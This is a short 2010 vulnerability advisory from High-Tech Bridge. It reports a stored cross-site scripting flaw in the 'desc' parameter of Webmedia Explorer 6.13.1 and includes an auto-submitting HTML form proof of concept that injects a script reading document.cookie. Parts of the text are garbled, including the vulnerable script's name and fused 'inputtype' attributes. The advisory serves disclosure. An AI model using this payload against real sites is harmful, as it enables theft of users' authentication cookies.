Vulnerability ID: HTB22661
Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_webmedia_explorer.html
Product: Webmedia Explorer
Vendor: Marc Salmurri ( http://www.webmediaexplorer.com/)
Vulnerable Version:6.13.1and probably prior versions
Vendor Notification:19 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "6.13.1!">" script to properly sanitize user-supplied input in "desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://host/folder" method="post" name="main"><inputtype="hidden" name="object" value="folder"><inputtype="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'><inputtype="hidden" name="tags" value=""><inputtype="hidden" name="position" value=""><inputtype="hidden" name="readme" value="post txt"></form><script>
document.main.submit();</script>